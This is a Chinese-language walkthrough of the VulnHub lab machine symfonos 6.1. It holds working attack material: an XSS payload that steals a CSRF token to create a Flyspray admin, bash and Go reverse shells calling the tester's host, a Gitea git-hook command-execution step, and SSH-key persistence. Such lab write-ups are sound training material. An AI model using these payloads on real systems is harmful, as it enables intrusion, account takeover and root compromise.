【攻略鸭】symfonos 6.1_VulnHub靶机攻略

本文内容纯属虚构,攻略鸭求b站关注点赞支持!
VMware工作良好,Virtualbox有问题。
靶机IP地址:192.168.31.239
测试机IP地址:192.168.31.38
外部信息收集
访问http://192.168.31.239/只有一个图片。
端口扫描
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.4 (protocol 2.0)
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS TRACE
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3000/tcp open ppp? syn-ack ttl 64
3306/tcp open mysql syn-ack ttl 64 MariaDB (unauthorized)
5000/tcp open upnp? syn-ack ttl 64
5353/udp open zeroconf
网站目录枚举
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.31.239/FUZZ -e .php,.txt -c -ic
http://192.168.31.239/posts/
看起来用于博客。
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.31.239/FUZZ -e .php,.txt -c -ic
http://192.168.31.239/flyspray
看起来用于提交bug,查到是flyspray bug跟踪系统,已有一个计划处理的bug提交信息,状态中显示数量有2个(猜测其中一个需要高权限才能看到),具有登录、注册、找回密码功能,已有用户为Mr Super User,所属组为Admin
ffuf -w /usr/share/wordlists/dirb/common.txt -u http://192.168.31.239/FUZZ -e .php,.txt -c -ic
http://192.168.31.239/flyspray
存在目录列表。
查看http://192.168.31.239/flyspray/docs/UPGRADING.txt程序的升级记录,当前版本为1.0
flyspray XSS2CSRF
$ searchsploit flyspray
Exploit Title | Path
Flyspray 0.9 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/26400.txt
FlySpray 0.9.7 - 'install-0.9.7.php' Remote Command Execution | php/webapps/1494.php
Flyspray 0.9.9 - Information Disclosure/HTML Injection / Cross-Site Scripting | php/webapps/31326.txt
Flyspray 0.9.9 - Multiple Cross-Site Scripting Vulnerabilities | php/webapps/30891.txt
Flyspray 0.9.9.6 - Cross-Site Request Forgery | php/webapps/18468.html
FlySpray 1.0-rc4 - Cross-Site Scripting / Cross-Site Request Forgery | php/webapps/41918.txt
查看FlySpray 1.0-rc4的漏洞,searchsploit -x 41918,
/index.php?do=myprofile的real_name参数存在XSS,可在参数页面和任何允许用户输入评论的页面上执行。
这个XSS可以用来收集CSRF token,并提交一个表单来创建一个新的管理员。修改脚本保存为exp.js:
var tok = document.getElementsByName('csrftoken')[0].value;
var txt = '<form method="POST" id="hacked_form" action="index.php?do=admin&area=newuser">'
txt += '<input type="hidden" name="action" value="admin.newuser"/>'
txt += '<input type="hidden" name="do" value="admin"/>'
txt += '<input type="hidden" name="area" value="newuser"/>'
txt += '<input type="hidden" name="user_name" value="administator"/>'
txt += '<input type="hidden" name="csrftoken" value="' + tok + '"/>'
txt += '<input type="hidden" name="user_pass" value="1234rere"/>'
txt += '<input type="hidden" name="user_pass2" value="1234rere"/>'
txt += '<input type="hidden" name="real_name" value="root"/>'
txt += '<input type="hidden" name="email_address" value="root@symfonos.com"/>'
txt += '<input type="hidden" name="verify_email_address" value="root@symfonos.com"/>'
txt += '<input type="hidden" name="jabber_id" value=""/>'
txt += '<input type="hidden" name="notify_type" value="0"/>'
txt += '<input type="hidden" name="time_zone" value="0"/>'
txt += '<input type="hidden" name="group_in" value="1"/>'
txt += '</form>'
var d1 = document.getElementById('menu');
d1.insertAdjacentHTML('afterend', txt);
document.getElementById("hacked_form").submit();
测试机开启HTTP服务:$ python -m http.server 80
尝试注册用户test1:12345,注册时提交有real_name参数,点击查看个人信息编辑Real Name为:
testq"><script>console.log(200)</script><var xxx="
发现头像处该脚本未被编码输出。
评论已有的计划处理的bug提交信息,管理员查看该信息时会触发脚本。
更改real_name为:
testq"><script src="http://192.168.31.38/exp.js"></script><var xxx="
观察HTTP代理流量, 发现靶机IP地址请求测试机。
使用administator:1234rere登录后发现另一个计划信息,内容中包含Gitea身份认证信息:achilles:h2sBr9gryBunKdF9
Gitea RCE漏洞CVE-2020-14144
访问http://192.168.31.239:3000/,是Gitea,当前版本: 1.11.4
发现用户achilles、zayotic,登录achilles后找到MySQL的认证信息root:password,尝试登录MySQL失败。
$ searchsploit Gitea
Gitea 1.12.5 - Remote Code Execution (Authenticated) | multiple/webapps/49571.py
Gitea 1.4.0 - Remote Code Execution | multiple/webapps/44996.py
Gitea 1.7.5 - Remote Code Execution | multiple/webapps/49383.py
49571.py:
Version: >= 1.1.0 to <= 1.12.5,需要用户名和口令,利用漏洞需要可创建git hooks的GiTea账户,在1.13.0版本被修复。
$ python3 49571.py -t http://192.168.31.239:3000 -u achilles -p h2sBr9gryBunKdF9 -I 192.168.31.38 -P 8088
可能测试环境原因,脚本执行报错。
手工利用漏洞
通过achilles:h2sBr9gryBunKdF9登录Gitea
点开一个repository,Settings -> Git Hooks
修改post-receive Hook
写入reverse shell:bash -i > /dev/tcp/192.168.31.38/8088 0<&1 2>&1
测试机开启监听
在repository的任意文件代码中增加个回车然后提交,触发post-receive Hook
[git@symfonos6 symfonos-blog.git]$ id
id
uid=997(git) gid=995(git) groups=995(git)
发现shell很不稳定,需要将公钥复制到git的.ssh/authorized_keys中,获得一个更稳定的shell。
获取稳定shell
测试机
$ ssh-keygen -t rsa
...
$ cat id_rsa.pub
ssh-rsa AAAAB3N...9hzeaTzQUs= kali@kali
靶机:
[git@symfonos6 symfonos-blog.git]$ pwd
/home/git/gitea-repositories/achilles/symfonos-blog.git
[git@symfonos6 ~]$ cd /home/git
$ echo "ssh-rsa AAAAB3N...9hzeaTzQUs= kali@kali" >> .ssh/authorized_keys
测试机:
$ ssh -i id_rsa git@192.168.31.239
[git@symfonos6 ~]$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
achilles:x:1000:1000::/home/achilles:/bin/bash
切换至achilles
尝试使用achilles的gitea口令h2sBr9gryBunKdF9
[git@symfonos6 ~]$ su - achilles
[achilles@symfonos6 ~]$ id
uid=1000(achilles) gid=1000(achilles) groups=1000(achilles),48(apache)
sudo提权
[achilles@symfonos6 ~]$ sudo -l
User achilles may run the following commands on symfonos6:
(ALL) NOPASSWD: /usr/local/go/bin/go
reverse.go:
package main
import ("os/exec")
func main() {
exec.Command("bash", "-c", "bash -i >& /dev/tcp/192.168.31.38/8088 0>&1").Run()
}
[achilles@symfonos6 tmp]$ wget http://192.168.31.38/reverse.go
[achilles@symfonos6 tmp]$ sudo /usr/local/go/bin/go run reverse.go
id
uid=0(root) gid=0(root) groups=0(root)
其他
flag
cat /root/proof.txt
Congrats on rooting symfonos:6!
靶机问题
遇到测试机的出现:验证XSS不存在,隔几分钟又存在;利用CSRF添加用户为低权限用户。
需要重新导入虚拟机。
未做解法